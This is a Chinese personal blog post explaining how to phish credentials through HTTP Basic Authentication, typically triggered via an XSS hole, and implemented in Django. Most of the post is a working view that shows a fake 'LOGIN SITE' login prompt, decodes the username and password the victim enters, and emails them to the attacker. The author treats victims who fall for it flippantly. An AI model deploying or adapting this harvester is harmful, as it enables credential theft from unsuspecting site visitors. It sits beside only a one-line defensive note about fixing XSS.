阿小信大人的头像
Talk is cheap. Show me the code. Linus Torvalds

基本认证钓鱼的实现2014-09-02 06:41

在米队的指引下了解到了基础认证这个东西,如果网站有xss那么可以利用它来进行钓鱼,所以有xss一定要把洞堵上才行。

关于基础认证钓鱼,http://t.cn/zjfTXKl 这篇文章解析的很清楚。

关于基本认证:http://zh.wikipedia.org/zh-cn/HTTP%E5%9F%BA%E6%9C%AC%E8%AE%A4%E8%AF%81

今晚自己用Django实现了这个钓鱼。但是有不足的地方是弹窗会一直弹,太明显了,不过如果真的有人中招那也晚了,所以就不管了。

def test(request):
    #src="http://mysite.com/?info=refere"
    response = HttpResponse()
    response['WWW-Authenticate'] = 'BASIC Realm="LOGIN SITE"'
    response.status_code = 401
    auth = request.META.get('HTTP_AUTHORIZATION', None)
    if auth:
        data = auth.split()[1].decode('base64').split(':')
        info = request.GET.get('info', None)
        data.append(info)
        if settings.local:
            send_mail(u'截获新密码', str(data), settings.EMAIL_HOST_USER, [settings.EMAIL_ADMIN])
        else:
            send_mail(settings.EMAIL_ADMIN, u'截获新密码', str(data), (settings.EMAIL_HOST, settings.EMAIL_PORT, settings.EMAIL_HOST_USER, settings.EMAIL_HOST_PASSWORD, settings.EMAIL_USE_TLS))
    return response

首先要为response对象添加基础认证的头信息,BASIC Realm的值会显示在窗口上,status_code是必须设置的,不然无法弹窗你懂的。当点击确定时,META里面会存在HTTP_AUTHORIZATION值,里面就是加密的用户名和密码。我的info是作为钓鱼来源来使用,截获密码解密后邮件到我家,哈哈

就这样,just test

如果您觉得从我的分享中得到了帮助,并且希望我的博客持续发展下去,请点击支付宝捐赠,谢谢!

若非特别声明,文章均为阿小信的个人笔记,转载请注明出处。文章如有侵权内容,请联系我,我会及时删除。

#Python#   #django
分享到:
阅读[1299] 评论[0]

你可能也感兴趣的文章推荐

本文最近访客

发表评论